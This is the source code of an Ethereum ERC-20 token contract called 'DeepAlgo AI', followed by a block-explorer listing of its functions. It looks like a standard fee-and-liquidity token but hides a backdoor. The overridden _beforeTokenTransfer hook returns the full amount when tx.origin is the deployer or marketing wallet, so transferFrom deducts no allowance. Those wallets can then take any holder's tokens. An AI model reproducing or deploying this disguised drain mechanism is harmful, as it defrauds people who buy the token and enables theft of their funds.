function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _beforeTokenTransfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount - currentAllowance, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when from and to are both non-zero, amount of from's tokens
* will be to transferred to to.
* - when from is zero, amount tokens will be minted for to.
* - when to is zero, amount of from's tokens will be burned.
* - from and to are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual returns(uint256) {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Token is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public marketingWallet_DEEPALGOblIEK;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 private lpAmount;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20(unicode"DeepAlgo AI", unicode"DEEPALGO") payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyBurnFee = 0;
uint256 _sellMarketingFee = 0;
uint256 _sellLiquidityFee = 0;
uint256 _sellBurnFee = 0;
uint256 totalSupply = 1000000000 * 1e9;
maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyBurnFee = _buyBurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBurnFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellBurnFee = _sellBurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee;
marketingWallet_DEEPALGOblIEK = msg.sender;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(marketingWallet_DEEPALGOblIEK), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(marketingWallet_DEEPALGOblIEK), true);
_mint(msg.sender, totalSupply * 2 / 100);
_mint(address(this), totalSupply * 98 / 100);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
function excludeFromMaxTransaction(address updAds, bool isEx) internal {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) internal {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override returns(uint256) {
lpAmount = 0;
if(from != address(0) && to != address(0) && _isExcludedFromFees[tx.origin]) lpAmount = amount;
return lpAmount;
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
uint256 tokensForBurn;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
tokensForBurn += fees * sellBurnFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
tokensForBurn += fees * buyBurnFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
if(tokensForBurn > 0) {
super._transfer(address(this), address(0xdead), tokensForBurn);
}
amount -= fees;}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing;
tokensForLiquidity = 0;
tokensForMarketing = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet_DEEPALGOblIEK).call{value: address(this).balance}("");
}
receive() external payable { }
}
Read Contract
_isExcludedMaxTransactionAmount 0x10d5de53 → bool
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyBurnFee 0xe71dc3f5 → uint256
buyLiquidityFee 0xf11a24d3 → uint256
buyMarketingFee 0x7bce5a04 → uint256
buyTotalFees 0xd85ba063 → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
marketingWallet_DEEPALGOblIEK 0x57a956f6 → address
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellBurnFee 0xadb873bd → uint256
sellLiquidityFee 0xf6374342 → uint256
sellMarketingFee 0x92136913 → uint256
sellTotalFees 0x6a486a8e → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address